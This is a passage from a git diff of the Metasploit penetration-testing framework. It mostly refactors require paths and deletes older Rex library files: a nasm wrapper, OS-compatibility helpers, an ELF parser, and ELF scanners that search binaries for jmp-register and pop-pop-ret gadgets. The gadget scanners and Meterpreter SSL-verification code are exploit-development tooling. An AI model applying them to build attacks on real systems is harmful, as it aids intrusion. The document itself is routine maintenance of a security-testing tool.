emsg.gsub!("\x00", '')
info[:infos]||= []
info[:infos] ||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
@ -985,8 +947,8 @@ module Exploit::Remote::MSSQL
# Parse a "login ack" TDS token
#
def mssql_parse_login_ack(data, info)
len = data.slice!(0,2).unpack('v')[0]
buff = data.slice!(0,len)
len = data.slice!(0, 2).unpack('v')[0]
_buff = data.slice!(0, len)
info[:login_ack] = true
end
end

View File

@ -17,12 +17,6 @@ module Msf
module Exploit::NTLM
NTLM_CONST = ::Rex::Proto::NTLM::Constants
NTLM_CRYPT = ::Rex::Proto::NTLM::Crypt
NTLM_UTILS = ::Rex::Proto::NTLM::Utils
NTLM_BASE = ::Rex::Proto::NTLM::Base
NTLM_MESSAGE = ::Rex::Proto::NTLM::Message
module Client
def initialize(info = {})
super

View File

@ -3,7 +3,7 @@ require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'rex/payloads/meterpreter/uri_checksum'
require 'rex/post/meterpreter'
require 'rex/parser/x509_certificate'
require 'rex/socket/x509_certificate'
require 'msf/core/payload/windows/verify_ssl'
require 'rex/user_agent'

View File

@ -1,7 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
require 'rex/parser/x509_certificate'
require 'rex/socket/x509_certificate'
module Msf
@ -25,7 +25,7 @@ module Payload::Windows::VerifySsl
raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured"
end
hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert)
hash = Rex::Socket::X509Certificate.get_cert_file_hash(handler_cert)
print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}")
hash
end

View File

@ -1,4 +1,5 @@
# -*- coding: binary -*-
require 'rex/ui/text/bidirectional_pipe'
module Msf
module Ui
module Web
@ -83,7 +84,7 @@ module Comm
end
def self.create_session_pipe(session)
pipe = Rex::IO::BidirectionalPipe.new
pipe = Rex::Ui::BidirectionalPipe.new
@session_pipes[session.id] = pipe

View File

@ -1,4 +1,5 @@
# -*- coding: binary -*-
require 'rex/ui/text/bidirectional_pipe'
module Msf
module Ui
module Web
@ -18,7 +19,7 @@ class WebConsole
attr_accessor :thread
# Wrapper class in case we need to extend the pipe
class WebConsolePipe < Rex::IO::BidirectionalPipe
class WebConsolePipe < Rex::Ui::Text::BidirectionalPipe
def prompting?
false
end

View File

@ -8,7 +8,7 @@ module Msf
module Ui
module Web
require 'rex/io/bidirectional_pipe'
require 'rex/ui/text/bidirectional_pipe'
require 'msf/ui/web/console'

View File

@ -1,104 +0,0 @@
# -*- coding: binary -*-
require 'tempfile'
require 'rex/file'
require 'rex/text'
module Rex
module Assembly
###
#
# This class uses nasm to assemble and disassemble stuff.
#
###
class Nasm
@@nasm_path = 'nasm'
@@ndisasm_path = 'ndisasm'
#
# Ensures that the nasm environment is sane.
#
def self.check
@@nasm_path =
Rex::FileUtils.find_full_path('nasm') ||
Rex::FileUtils.find_full_path('nasm.exe') ||
Rex::FileUtils.find_full_path('nasmw.exe') ||
raise(RuntimeError, "No nasm installation was found.")
@@ndisasm_path =
Rex::FileUtils.find_full_path('ndisasm') ||
Rex::FileUtils.find_full_path('ndisasm.exe') ||
Rex::FileUtils.find_full_path('ndisasmw.exe') ||
raise(RuntimeError, "No ndisasm installation was found.")
end
#
# Assembles the supplied assembly and returns the raw opcodes.
#
def self.assemble(assembly, bits=32)
check
# Open the temporary file
tmp = Tempfile.new('nasmXXXX')
tmp.binmode
tpath = tmp.path
opath = tmp.path + '.out'
# Write the assembly data to a file
tmp.write("BITS #{bits}\n" + assembly)
tmp.flush()
tmp.seek(0)
# Run nasm
if (system(@@nasm_path, '-f', 'bin', '-o', opath, tpath) == false)
raise RuntimeError, "Assembler did not complete successfully: #{$?.exitstatus}"
end
# Read the assembled text
rv = ::IO.read(opath)
# Remove temporary files
File.unlink(opath)
tmp.close(true)
rv
end
#
# Disassembles the supplied raw opcodes
#
def self.disassemble(raw, bits=32)
check
tmp = Tempfile.new('nasmout')
tmp.binmode
tfd = File.open(tmp.path, "wb")
tfd.write(raw)
tfd.flush()
tfd.close
p = ::IO.popen("\"#{@@ndisasm_path}\" -b #{bits} \"#{tmp.path}\"")
o = ''
begin
until p.eof?
o += p.read
end
ensure
p.close
end
tmp.close(true)
o
end
end
end
end

View File

@ -1,385 +0,0 @@
# -*- coding: binary -*-
module Rex
###
#
# This class provides os-specific functionality
#
###
module Compat
STD_INPUT_HANDLE = -10
STD_OUTPUT_HANDLE = -11
STD_ERROR_HANDLE = -12
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
OPEN_EXISTING = 0x00000003
ENABLE_LINE_INPUT = 2
ENABLE_ECHO_INPUT = 4
ENABLE_PROCESSED_INPUT = 1
#
# Platform detection
#
@@is_windows = @@is_cygwin = @@is_macosx = @@is_linux = @@is_bsdi = @@is_freebsd = @@is_netbsd = @@is_openbsd = @@is_java = false
@@loaded_win32api = false
@@loaded_tempfile = false
@@loaded_fileutils = false
def self.is_windows
return @@is_windows if @@is_windows
@@is_windows = (RUBY_PLATFORM =~ /mswin(32|64)|mingw(32|64)/) ? true : false
end
def self.is_cygwin
return @@is_cygwin if @@is_cygwin
@@is_cygwin = (RUBY_PLATFORM =~ /cygwin/) ? true : false
end
def self.is_macosx
return @@is_macosx if @@is_macosx
@@is_macosx = (RUBY_PLATFORM =~ /darwin/) ? true : false
end
def self.is_linux
return @@is_linux if @@is_linux
@@is_linux = (RUBY_PLATFORM =~ /linux/) ? true : false
end
def self.is_bsdi
return @@is_bsdi if @@is_bsdi
@@is_bsdi = (RUBY_PLATFORM =~ /bsdi/i) ? true : false
end
def self.is_netbsd
return @@is_netbsd if @@is_netbsd
@@is_netbsd = (RUBY_PLATFORM =~ /netbsd/) ? true : false
end
def self.is_freebsd
return @@is_freebsd if @@is_freebsd
@@is_freebsd = (RUBY_PLATFORM =~ /freebsd/) ? true : false
end
def self.is_openbsd
return @@is_openbsd if @@is_openbsd
@@is_openbsd = (RUBY_PLATFORM =~ /openbsd/) ? true : false
end
def self.is_java
return @@is_java if @@is_java
@@is_java = (RUBY_PLATFORM =~ /java/) ? true : false
end
def self.is_wow64
return false if not is_windows
is64 = false
begin
buff = "\x00" * 4
Win32API.new("kernel32","IsWow64Process",['L','P'],'L').call(-1, buff)
is64 = (buff.unpack("V")[0]) == 1 ? true : false
rescue ::Exception
end
is64
end
def self.cygwin_to_win32(path)
if(path !~ /^\/cygdrive/)
return ::IO.popen("cygpath -w #{path}", "rb").read.strip
end
dir = path.split("/")
dir.shift
dir.shift
dir[0] = dir[0] + ":"
dir.join("\\")
end
def self.open_file(url='')
case RUBY_PLATFORM
when /cygwin/
path = self.cygwin_to_win32(url)
system(["cmd", "cmd"], "/c", "explorer", path)
else
self.open_browser(url)
end
end
def self.open_browser(url='http://google.com/')
case RUBY_PLATFORM
when /cygwin/
if(url[0,1] == "/")
self.open_file(url)
end
return if not @@loaded_win32api
Win32API.new("shell32.dll", "ShellExecute", ["PPPPPL"], "L").call(nil, "open", url, nil, nil, 0)
when /mswin32|mingw/
return if not @@loaded_win32api
Win32API.new("shell32.dll", "ShellExecute", ["PPPPPL"], "L").call(nil, "open", url, nil, nil, 0)
when /darwin/
system("open #{url}")
else
# Search through the PATH variable (if it exists) and chose a browser
# We are making an assumption about the nature of "PATH" so tread lightly
if defined? ENV['PATH']
# "xdg-open" is more general than "sensible-browser" and can be useful for lots of
# file types -- text files, pcaps, or URLs. It's nearly always
# going to use the application the user is expecting. If we're not
# on something Debian-based, fall back to likely browsers.
['xdg-open', 'sensible-browser', 'firefox', 'firefox-bin', 'opera', 'konqueror', 'chromium-browser'].each do |browser|
ENV['PATH'].split(':').each do |path|
# Does the browser exists?
if File.exist?("#{path}/#{browser}")
system("#{browser} #{url} &")
return
end
end
end
end
end
end
def self.open_webrtc_browser(url='http://google.com/')
case RUBY_PLATFORM
when /mswin2|mingw|cygwin/
paths = [
"Google\\Chrome\\Application\\chrome.exe",
"Mozilla Firefox\\firefox.exe",
"Opera\\launcher.exe"
]
prog_files = ENV['ProgramFiles']
paths = paths.map { |p| "#{prog_files}\\#{p}" }
# Old chrome path
app_data = ENV['APPDATA']
paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
paths.each do |path|
if File.exist?(path)
args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
system("\"#{path}\" #{args} \"#{url}\"")
return true
end
end
when /darwin/
['Google Chrome.app', 'Firefox.app'].each do |browser|
browser_path = "/Applications/#{browser}"
if File.directory?(browser_path)
args = (browser_path =~ /Chrome/) ? "--args --allow-file-access-from-files" : ""
system("open #{url} -a \"#{browser_path}\" #{args} &")
return true
end
end
else
if defined? ENV['PATH']
['google-chrome', 'chrome', 'chromium', 'firefox' , 'firefox', 'opera'].each do |browser|
ENV['PATH'].split(':').each do |path|
browser_path = "#{path}/#{browser}"
if File.exist?(browser_path)
args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
system("#{browser_path} #{args} #{url} &")
return true
end
end
end
end
end
false
end
def self.open_email(addr)
case RUBY_PLATFORM
when /mswin32|cygwin/
return if not @@loaded_win32api
Win32API.new("shell32.dll", "ShellExecute", ["PPPPPL"], "L").call(nil, "open", "mailto:"+addr, nil, nil, 0)
when /darwin/
system("open mailto:#{addr}")
else
# ?
end
end
def self.play_sound(path)
case RUBY_PLATFORM
when /cygwin/
path = self.cygwin_to_win32(path)
return if not @@loaded_win32api
Win32API.new("winmm.dll", "sndPlaySoundA", ["SI"], "I").call(path, 0x20000)
when /mswin32/
return if not @@loaded_win32api
Win32API.new("winmm.dll", "sndPlaySoundA", ["SI"], "I").call(path, 0x20000)
when /darwin/
system("afplay #{path} >/dev/null 2>&1")
else
system("aplay #{path} >/dev/null 2>&1")
end
end
def self.getenv(var)
if (is_windows and @@loaded_win32api)
f = Win32API.new("kernel32", "GetEnvironmentVariable", ["P", "P", "I"], "I")
buff = "\x00" * 16384
sz = f.call(var, buff, buff.length)
return nil if sz == 0
buff[0,sz]
else
ENV[var]
end
end
def self.setenv(var,val)
if (is_windows and @@loaded_win32api)
f = Win32API.new("kernel32", "SetEnvironmentVariable", ["P", "P"], "I")
f.call(var, val + "\x00")
else
ENV[var]= val
end
end
#
# Obtain the path to our interpreter
#
def self.win32_ruby_path
return nil if ! (is_windows and @@loaded_win32api)
gmh = Win32API.new("kernel32", "GetModuleHandle", ["P"], "L")
gmf = Win32API.new("kernel32", "GetModuleFileName", ["LPL"], "L")
mod = gmh.call(nil)
inf = "\x00" * 1024
gmf.call(mod, inf, 1024)
inf.unpack("Z*")[0]
end
#
# Call WinExec (equiv to system("cmd &"))
#
def self.win32_winexec(cmd)
return nil if ! (is_windows and @@loaded_win32api)
exe = Win32API.new("kernel32", "WinExec", ["PL"], "L")
exe.call(cmd, 0)
end
#
# Verify the Console2 environment
#
def self.win32_console2_verify
return nil if ! (is_windows and @@loaded_win32api)
buf = "\x00" * 512
out = Win32API.new("kernel32", "GetStdHandle", ["L"], "L").call(STD_OUTPUT_HANDLE)
res = Win32API.new("kernel32","GetConsoleTitle", ["PL"], "L").call(buf, buf.length-1) rescue 0
( res > 0 and buf.index("Console2 command").nil? ) ? false : true
end
#
# Expand a 8.3 path to a full path
#
def self.win32_expand_path(path)
return nil if ! (is_windows and @@loaded_win32api)
glp = Win32API.new('kernel32', 'GetLongPathName', 'PPL', 'L')
buf = "\x00" * 260
len = glp.call(path, buf, buf.length)
buf[0, len]
end
#
# Platform independent socket pair
#
def self.pipe
if (! is_windows())
# Standard pipes should be fine
return ::IO.pipe
end
# Create a socket connection for Windows
serv = nil
port = 1024
while (! serv and port < 65535)
begin
serv = TCPServer.new('127.0.0.1', (port += 1))
rescue ::Exception
end
end
pipe1 = TCPSocket.new('127.0.0.1', port)
# Accept the forked child
pipe2 = serv.accept
# Shutdown the server
serv.close
return [pipe1, pipe2]
end
#
# Copy a file to a temporary path
#
def self.temp_copy(path)
raise RuntimeError,"missing Tempfile" if not @@loaded_tempfile
fd = File.open(path, "rb")
tp = Tempfile.new("msftemp")
tp.binmode
tp.write(fd.read(File.size(path)))
tp.close
fd.close
tp
end
#
# Delete an opened temporary file
#
def self.temp_delete(tp)
raise RuntimeError,"missing FileUtils" if not @@loaded_fileutils
begin
FileUtils.rm(tp.path)
rescue
end
end
#
# Initialization
#
if(is_windows or is_cygwin)
begin
require "Win32API"
@@loaded_win32api = true
rescue ::Exception
end
end
begin
require "tempfile"
@@loaded_tempfile = true
rescue ::Exception
end
begin
require "fileutils"
@@loaded_fileutils = true
rescue ::Exception
end
end
end

View File

@ -1,9 +0,0 @@
# -*- coding: binary -*-
module Rex
module ElfParsey
end
end
require 'rex/elfparsey/elf'

View File

@ -1,121 +0,0 @@
# -*- coding: binary -*-
require 'rex/elfparsey/elfbase'
require 'rex/elfparsey/exceptions'
require 'rex/image_source'
module Rex
module ElfParsey
class Elf < ElfBase
attr_accessor :elf_header, :program_header, :base_addr, :isource
def initialize(isource)
offset = 0
base_addr = 0
# ELF Header
elf_header = ElfHeader.new(isource.read(offset, ELF_HEADER_SIZE))
# Data encoding
ei_data = elf_header.e_ident[EI_DATA,1].unpack("C")[0]
e_phoff = elf_header.e_phoff
e_phentsize = elf_header.e_phentsize
e_phnum = elf_header.e_phnum
# Program Header Table
program_header = []
e_phnum.times do |i|
offset = e_phoff + (e_phentsize * i)
program_header << ProgramHeader.new(
isource.read(offset, PROGRAM_HEADER_SIZE), ei_data
)
if program_header[-1].p_type == PT_LOAD && program_header[-1].p_flags & PF_EXEC > 0
base_addr = program_header[-1].p_vaddr
end
end
self.elf_header = elf_header
self.program_header = program_header
self.base_addr = base_addr
self.isource = isource
end
def self.new_from_file(filename, disk_backed = false)
file = ::File.new(filename)
# file.binmode # windows... :\
if disk_backed
return self.new(ImageSource::Disk.new(file))
else
obj = new_from_string(file.read)
file.close
return obj
end
end
def self.new_from_string(data)
return self.new(ImageSource::Memory.new(data))
end
#
# Returns true if this binary is for a 64-bit architecture.
#
def ptr_64?
unless [ ELFCLASS32, ELFCLASS64 ].include?(
elf_header.e_ident[EI_CLASS,1].unpack("C*")[0])
raise ElfHeaderError, 'Invalid class', caller
end
elf_header.e_ident[EI_CLASS,1].unpack("C*")[0] == ELFCLASS64
end
#
# Returns true if this binary is for a 32-bit architecture.
# This check does not take into account 16-bit binaries at the moment.
#
def ptr_32?
ptr_64? == false
end
#
# Converts a virtual address to a string representation based on the
# underlying architecture.
#
def ptr_s(rva)
(ptr_32?) ? ("0x%.8x" % rva) : ("0x%.16x" % rva)
end
def offset_to_rva(offset)
base_addr + offset
end
def rva_to_offset(rva)
rva - base_addr
end
def read(offset, len)
isource.read(offset, len)
end
def read_rva(rva, len)
isource.read(rva_to_offset(rva), len)
end
def index(*args)
isource.index(*args)
end
def close
isource.close
end
end
end
end

View File

@ -1,265 +0,0 @@
# -*- coding: binary -*-
require 'rex/struct2'
module Rex
module ElfParsey
class ElfBase
# ELF Header
ELF_HEADER_SIZE = 52
EI_NIDENT = 16
ELF32_EHDR_LSB = Rex::Struct2::CStructTemplate.new(
[ 'string', 'e_ident', EI_NIDENT, '' ],
[ 'uint16v', 'e_type', 0 ],
[ 'uint16v', 'e_machine', 0 ],
[ 'uint32v', 'e_version', 0 ],
[ 'uint32v', 'e_entry', 0 ],
[ 'uint32v', 'e_phoff', 0 ],
[ 'uint32v', 'e_shoff', 0 ],
[ 'uint32v', 'e_flags', 0 ],
[ 'uint16v', 'e_ehsize', 0 ],
[ 'uint16v', 'e_phentsize', 0 ],
[ 'uint16v', 'e_phnum', 0 ],
[ 'uint16v', 'e_shentsize', 0 ],
[ 'uint16v', 'e_shnum', 0 ],
[ 'uint16v', 'e_shstrndx', 0 ]
)
ELF32_EHDR_MSB = Rex::Struct2::CStructTemplate.new(
[ 'string', 'e_ident', EI_NIDENT, '' ],
[ 'uint16n', 'e_type', 0 ],
[ 'uint16n', 'e_machine', 0 ],
[ 'uint32n', 'e_version', 0 ],
[ 'uint32n', 'e_entry', 0 ],
[ 'uint32n', 'e_phoff', 0 ],
[ 'uint32n', 'e_shoff', 0 ],
[ 'uint32n', 'e_flags', 0 ],
[ 'uint16n', 'e_ehsize', 0 ],
[ 'uint16n', 'e_phentsize', 0 ],
[ 'uint16n', 'e_phnum', 0 ],
[ 'uint16n', 'e_shentsize', 0 ],
[ 'uint16n', 'e_shnum', 0 ],
[ 'uint16n', 'e_shstrndx', 0 ]
)
# e_type This member identifies the object file type
ET_NONE = 0 # No file type
ET_REL = 1 # Relocatable file
ET_EXEC = 2 # Executable file
ET_DYN = 3 # Shared object file
ET_CORE = 4 # Core file
ET_LOPROC = 0xff00 # Processor-specific
ET_HIPROC = 0xffff # Processor-specific
#
# e_machine This member's value specifies the required architecture for an
# individual file.
#
# ET_NONE = 0 # No machine
EM_M32 = 1 # AT&T WE 32100
EM_SPARC = 2 # SPARC
EM_386 = 3 # Intel Architecture
EM_68K = 4 # Motorola 68000
EM_88K = 5 # Motorola 88000
EM_860 = 7 # Intel 80860
EM_MIPS = 8 # MIPS RS3000 Big-Endian
EM_MIPS_RS4_BE = 10 # MIPS RS4000 Big-Endian
# e_version This member identifies the object file version
EV_NONE = 0 # Invalid version
EV_CURRENT = 1 # Current version
# ELF Identification
# e_ident[] Identification indexes
EI_MAG0 = 0 # File identification
EI_MAG1 = 1 # File identification
EI_MAG2 = 2 # File identification
EI_MAG3 = 3 # File identification
EI_CLASS = 4 # File class
EI_DATA = 5 # Data encoding
EI_VERSION = 6 # File version
EI_PAD = 7 # Start of padding bytes
# EI_NIDENT = 16 # Size of e_ident[]
#
# EI_MAG0 to EI_MAG3 A file's first 4 bytes hold a "magic number",
# identifying the file as an ELF object file.
#
ELFMAG0 = 0x7f # e_ident[EI_MAG0]
ELFMAG1 = ?E # e_ident[EI_MAG1]
ELFMAG2 = ?L # e_ident[EI_MAG2]
ELFMAG3 = ?F # e_ident[EI_MAG3]
ELFMAG = ELFMAG0.chr + ELFMAG1.chr + ELFMAG2.chr + ELFMAG3.chr
# EI_CLASS Identifies the file's class, or capacity
ELFCLASSNONE = 0 # Invalid class
ELFCLASS32 = 1 # 32-bit objects
ELFCLASS64 = 2 # 64-bit objects
#
# EI_DATA Specifies the data encoding of the processor-specific data in
# the object file. The following encodings are currently defined.
#
ELFDATANONE = 0 # Invalid data encoding
ELFDATA2LSB = 1 # Least significant byte first
ELFDATA2MSB = 2 # Most significant byte first
class GenericStruct
attr_accessor :struct
def initialize(_struct)
self.struct = _struct
end
# The following methods are just pass-throughs for struct
# Access a value
def v
struct.v
end
# Access a value by array
def [](*args)
struct[*args]
end
# Obtain an array of all fields
def keys
struct.keys
end
def method_missing(meth, *args)
v[meth.to_s] || (raise NoMethodError.new, meth)
end
end
class GenericHeader < GenericStruct
end
class ElfHeader < GenericHeader
def initialize(rawdata)
# Identify the data encoding and parse ELF Header
elf_header = ELF32_EHDR_LSB.make_struct
if !elf_header.from_s(rawdata)
raise ElfHeaderError, "Couldn't parse ELF Header", caller
end
if elf_header.v['e_ident'][EI_DATA,1].unpack('C')[0] == ELFDATA2MSB
elf_header = ELF32_EHDR_MSB.make_struct
if !elf_header.from_s(rawdata)
raise ElfHeaderError, "Couldn't parse ELF Header", caller
end
end
unless [ ELFDATA2LSB, ELFDATA2MSB ].include?(
elf_header.v['e_ident'][EI_DATA,1].unpack('C')[0])
raise ElfHeaderError, "Invalid data encoding", caller
end
# Identify the file as an ELF object file
unless elf_header.v['e_ident'][EI_MAG0, 4] == ELFMAG
raise ElfHeaderError, 'Invalid magic number', caller
end
self.struct = elf_header
end
def e_ident
struct.v['e_ident']
end
end
# Program Header
PROGRAM_HEADER_SIZE = 32
ELF32_PHDR_LSB = Rex::Struct2::CStructTemplate.new(
[ 'uint32v', 'p_type', 0 ],
[ 'uint32v', 'p_offset', 0 ],
[ 'uint32v', 'p_vaddr', 0 ],
[ 'uint32v', 'p_paddr', 0 ],
[ 'uint32v', 'p_filesz', 0 ],
[ 'uint32v', 'p_memsz', 0 ],
[ 'uint32v', 'p_flags', 0 ],
[ 'uint32v', 'p_align', 0 ]
)
ELF32_PHDR_MSB = Rex::Struct2::CStructTemplate.new(
[ 'uint32n', 'p_type', 0 ],
[ 'uint32n', 'p_offset', 0 ],
[ 'uint32n', 'p_vaddr', 0 ],
[ 'uint32n', 'p_paddr', 0 ],
[ 'uint32n', 'p_filesz', 0 ],
[ 'uint32n', 'p_memsz', 0 ],
[ 'uint32n', 'p_flags', 0 ],
[ 'uint32n', 'p_align', 0 ]
)
# p_flags This member tells which permissions should have the segment
# Flags
PF_EXEC = 1
PF_WRITE = 2
PF_READ = 4
#
# p_type This member tells what kind of segment this array element
# describes or how to interpret the array element's information.
#
# Segment Types
PT_NULL = 0
PT_LOAD = 1
PT_DYNAMIC = 2
PT_INTERP = 3
PT_NOTE = 4
PT_SHLIB = 5
PT_PHDR = 6
PT_LOPROC = 0x70000000
PT_HIPROC = 0x7fffffff
class ProgramHeader < GenericHeader
def initialize(rawdata, ei_data)
# Identify the data encoding and parse Program Header
if ei_data == ELFDATA2LSB
program_header = ELF32_PHDR_LSB.make_struct
elsif ei_data == ELFDATA2MSB
program_header = ELF32_PHDR_MSB.make_struct
else
raise ElfHeaderError, "Invalid data encoding", caller
end
if !program_header.from_s(rawdata)
raise ProgramHeaderError, "Couldn't parse Program Header", caller
end
self.struct = program_header
end
end
end
end
end

View File

@ -1,25 +0,0 @@
# -*- coding: binary -*-
module Rex
module ElfParsey
class ElfError < ::RuntimeError
end
class ParseError < ElfError
end
class ElfHeaderError < ParseError
end
class ProgramHeaderError < ParseError
end
class BoundsError < ElfError
end
class ElfParseyError < ElfError
end
end
end

View File

@ -1,10 +0,0 @@
# -*- coding: binary -*-
module Rex
module ElfScan
end
end
require 'rex/elfscan/scanner'
require 'rex/elfscan/search'

View File

@ -1,226 +0,0 @@
# -*- coding: binary -*-
require 'metasm'
module Rex
module ElfScan
module Scanner
class Generic
attr_accessor :elf, :regex
def initialize(elf)
self.elf = elf
end
def config(param)
end
def scan(param)
config(param)
$stdout.puts "[#{param['file']}]"
elf.program_header.each do |program_header|
# Scan only loadable segment entries in the program header table
if program_header.p_type == Rex::ElfParsey::ElfBase::PT_LOAD
hits = scan_segment(program_header, param)
hits.each do |hit|
rva = hit[0]
message = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1]
$stdout.puts elf.ptr_s(rva) + " " + message
if(param['disasm'])
message.gsub!("; ", "\n")
if message.include?("retn")
message.gsub!("retn", "ret")
end
begin
d2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, message).disassemble
rescue Metasm::ParseError
d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, [message].pack('H*'))
end
addr = 0
while ((di = d2.disassemble_instruction(addr)))
disasm = "0x%08x\t" % (rva + addr)
disasm << di.instruction.to_s
$stdout.puts disasm
addr = di.next_addr
end
end
end
end
end
end
def scan_segment(program_header, param={})
[]
end
end
class JmpRegScanner < Generic
def config(param)
regnums = param['args']
# build a list of the call bytes
calls = _build_byte_list(0xd0, regnums - [4]) # note call esp's don't work..
jmps = _build_byte_list(0xe0, regnums)
pushs1 = _build_byte_list(0x50, regnums)
pushs2 = _build_byte_list(0xf0, regnums)
regexstr = '('
if !calls.empty?
regexstr += "\xff[#{calls}]|"
end
regexstr += "\xff[#{jmps}]|([#{pushs1}]|\xff[#{pushs2}])(\xc3|\xc2..))"
self.regex = Regexp.new(regexstr, nil, 'n')
end
# build a list for regex of the possible bytes, based on a base
# byte and a list of register numbers..
def _build_byte_list(base, regnums)
regnums.collect { |regnum| Regexp.escape((base | regnum).chr) }.join('')
end
def _ret_size(offset)
case elf.read(offset, 1)
when "\xc3"
return 1
when "\xc2"
return 3
end
raise "Cannot read at offset: #{offset}"
end
def _parse_ret(data)
if data.length == 1
return "ret"
else
return "retn 0x%04x" % data[1, 2].unpack('v')[0]
end
end
def scan_segment(program_header, param={})
offset = program_header.p_offset
hits = []
while (offset = elf.index(regex, offset)) != nil
rva = elf.offset_to_rva(offset)
message = ''
parse_ret = false
byte1 = elf.read(offset, 1).unpack('C')[0]
if byte1 == 0xff
byte2 = elf.read(offset+1, 1).unpack('C')[0]
regname = Rex::Arch::X86.reg_name32(byte2 & 0x7)
case byte2 & 0xf8
when 0xd0
message = "call #{regname}"
offset += 2
when 0xe0
message = "jmp #{regname}"
offset += 2
when 0xf0
retsize = _ret_size(offset+2)
message = "push #{regname}; " + _parse_ret(elf.read(offset+2, retsize))
offset += 2 + retsize
else
raise "Unexpected value at #{offset}"
end
else
regname = Rex::Arch::X86.reg_name32(byte1 & 0x7)
retsize = _ret_size(offset+1)
message = "push #{regname}; " + _parse_ret(elf.read(offset+1, retsize))
offset += 1 + retsize
end
hits << [ rva, message ]
end
return hits
end
end
class PopPopRetScanner < JmpRegScanner
def config(param)
pops = _build_byte_list(0x58, (0 .. 7).to_a - [4]) # we don't want pop esp's...
self.regex = Regexp.new("[#{pops}][#{pops}](\xc3|\xc2..)", nil, 'n')
end
def scan_segment(program_header, param={})
offset = program_header.p_offset
hits = []
while offset < program_header.p_offset + program_header.p_filesz &&
(offset = elf.index(regex, offset)) != nil
rva = elf.offset_to_rva(offset)
message = ''
pops = elf.read(offset, 2)
reg1 = Rex::Arch::X86.reg_name32(pops[0,1].unpack('C*')[0] & 0x7)
reg2 = Rex::Arch::X86.reg_name32(pops[1,1].unpack('C*')[0] & 0x7)
message = "pop #{reg1}; pop #{reg2}; "
retsize = _ret_size(offset+2)
message += _parse_ret(elf.read(offset+2, retsize))
offset += 2 + retsize
hits << [ rva, message ]
end
return hits
end
end
class RegexScanner < JmpRegScanner
def config(param)
self.regex = Regexp.new(param['args'], nil, 'n')
end
def scan_segment(program_header, param={})
offset = program_header.p_offset
hits = []
while offset < program_header.p_offset + program_header.p_filesz &&
(offset = elf.index(regex, offset)) != nil
idx = offset
buf = ''
mat = nil
while (! (mat = buf.match(regex)))
buf << elf.read(idx, 1)
idx += 1
end
rva = elf.offset_to_rva(offset)
hits << [ rva, buf.unpack("H*") ]
offset += buf.length
end
return hits
end
end
end
end
end

View File

@ -1,44 +0,0 @@
# -*- coding: binary -*-
module Rex
module ElfScan
module Search
class DumpRVA
attr_accessor :elf
def initialize(elf)
self.elf = elf
end
def config(param)
@address = param['args']
end
def scan(param)
config(param)
$stdout.puts "[#{param['file']}]"
# Adjust based on -A and -B flags
pre = param['before'] || 0
suf = param['after'] || 16
@address -= pre
@address = 0 if (@address < 0 || ! @address)
buf = elf.read_rva(@address, suf)
$stdout.puts elf.ptr_s(@address) + " " + buf.unpack("H*")[0]
end
end
class DumpOffset < DumpRVA
def config(param)
begin
@address = elf.offset_to_rva(param['args'])
rescue Rex::ElfParsey::BoundsError
end
end
end
end
end
end

View File

@ -1,160 +0,0 @@
# -*- coding: binary -*-
require 'find'
require 'rex/compat'
require 'tempfile'
module Rex
###
#
# This class provides helper methods for dealing with files that are not
# supplied by the standard ruby API.
#
###
module FileUtils
#
# This method joins the paths together in Unix format.
#
def self.normalize_unix_path(*strs)
new_str = strs * '/'
new_str = new_str.gsub!("//", "/") while new_str.index("//")
new_str
end
#
# This method joins the paths together in Windows format.
# All reserved characters will be filtered out, including:
# " * : < > ? \ / |
#
def self.normalize_win_path(*strs)
# Convert to the same format so the parsing is easier
s = strs * '\\'
# Filter out double slashes
s = s.gsub(/\\\\/, '\\') while s.index('\\\\')
# Keep the trailing slash if exists
trailing_s = ('\\' if s =~ /\\$/) || ''
# Check the items (fie/dir) individually
s = s.split(/\\/)
# Parse the path prefix
prefix = (s[0] || '').gsub(/[\*<>\?\/]/, '')
# Delete the original prefix. We want the new one later.
s.delete_at(0)
# Filter out all the reserved characters
s.map! {|e| e.gsub(/["\*:<>\?\\\/|]/, '') }
# Put the modified prefix back
s.insert(0, prefix)
# And then safely join the items
s *= '\\'
# Add the trailing slash back if exists
s << trailing_s
end
#
# This method cleans the supplied path of directory traversal sequences
# It must accept path/with/..a/folder../starting/or/ending/in/two/dots
# but clean ../something as well as path/with/..\traversal
#
def self.clean_path(old)
path = old
while(path.index(/\/..\/|\/..\\|\\..\\|\\..\/|\A..\\|\A..\//) != nil)
path.gsub!(/\A..\\|\A..\//,'') #eliminate starting ..\ or ../
path.gsub!(/\/..\/|\/..\\/,'/') #clean linux style
path.gsub!(/\\..\\|\\..\//,'\\') #clean windows style
end
path
end
#
# This method searches the PATH environment variable for
# a fully qualified path to the supplied file name.
#
def self.find_full_path(file_name)
# Check for the absolute fast first
if (file_name[0,1] == "/" and ::File.exist?(file_name) and ::File::Stat.new(file_name))
return file_name
end
path = Rex::Compat.getenv('PATH')
if (path)
path.split(::File::PATH_SEPARATOR).each { |base|
begin
# Deal with Windows paths surrounded by quotes. Prevents
# silliness like trying to look for
# '"C:\\framework\\nmap"\\nmap.exe' which will always fail.
base = $1 if base =~ /^"(.*)"$/
path = base + ::File::SEPARATOR + file_name
if (::File::Stat.new(path) and not ::File.directory?(path))
return path
end
rescue
end
}
end
return nil
end
end
class Quickfile < ::Tempfile
def initialize(*args)
super(*args)
self.binmode
ObjectSpace.undefine_finalizer(self)
end
end
module Find
#
# Identical to Find.find from Ruby, but follows symlinks to directories.
# See http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/68671
#
def self.find(*paths)
paths.collect!{|d| d.dup}
while file = paths.shift
catch(:prune) do
yield file.dup.taint
next unless File.exist? file
begin
if File.stat(file).directory? then
d = Dir.open(file)
begin
